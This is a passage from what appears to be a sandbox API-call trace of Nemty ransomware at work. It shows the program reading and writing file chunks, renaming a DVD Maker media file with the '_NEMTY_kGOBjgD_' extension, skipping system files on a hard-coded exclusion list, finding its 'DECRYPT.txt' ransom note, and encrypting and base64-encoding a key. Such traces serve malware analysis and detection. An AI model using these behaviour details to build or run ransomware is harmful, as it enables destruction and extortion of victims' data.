lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.657] CloseHandle (hObject=0xffffffff) returned 0 [0084.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0084.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0084.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0084.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0084.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0084.657] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv._nemty_kgobjgd_")) returned 0 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0084.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.658] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53706d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe53706d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe53706d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0084.658] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0084.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0084.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0084.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0084.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0084.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0084.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0084.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94378 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.659] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53706d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe53706d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe53706d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0084.659] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0084.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0084.660] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="..") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="...") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="windows") returned -1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="rsa") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="ntldr") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="RECYCLER") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0084.660] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="programdata") returned 1 [0084.661] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="appdata") returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scene_button_style_default_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 40 [0084.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f942f0 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scene_button_style_default_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 40 [0084.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0084.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scene_button_style_default_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 40 [0084.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0084.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x6345640, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scene_button_style_default_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 40 [0084.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942f0 [0084.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941c0 [0084.661] Sleep (dwMilliseconds=0x5) [0084.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe61dec30, dwHighDateTime=0x1d561e7)) [0084.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe61dec30, dwHighDateTime=0x1d561e7)) [0084.675] GetLastError () returned 0x12 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.675] GetLastError () returned 0x12 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.675] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0084.675] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0084.675] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0084.675] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="LNkTtMivl8EWhVyRS+PS/LPJAgww++NU403tEZ94PPdKaTcGjZLeQB/5eBX5PxaH\r\nHMkUlz0N7Bpk2LPjtCNOmhkAxhSIM7bVunVIt5OsRQjLwrEN1GxSM3Av/GZvcAf4\r\nWx26yjToGJCAzOWXclD8t95mnrLSr9uB4Ppk5uOQbc22L7ne4oVk9HCD1m8v7ANr\r\naHgasf51BqwwU9wZ/jnpAFvmiMs8syAVwPojQwSXCLLcPHSznU64i6Kte/y1FPsD\r\nSoSQJz9+dd6ydFMNcLZn3NPKdRtA2wuuWgvQ6MowLWhu4qNT6XUlbgKN99B8tDiW\r\n2SPl0/MYPzYLkOIVYqbyOA==\r\n", 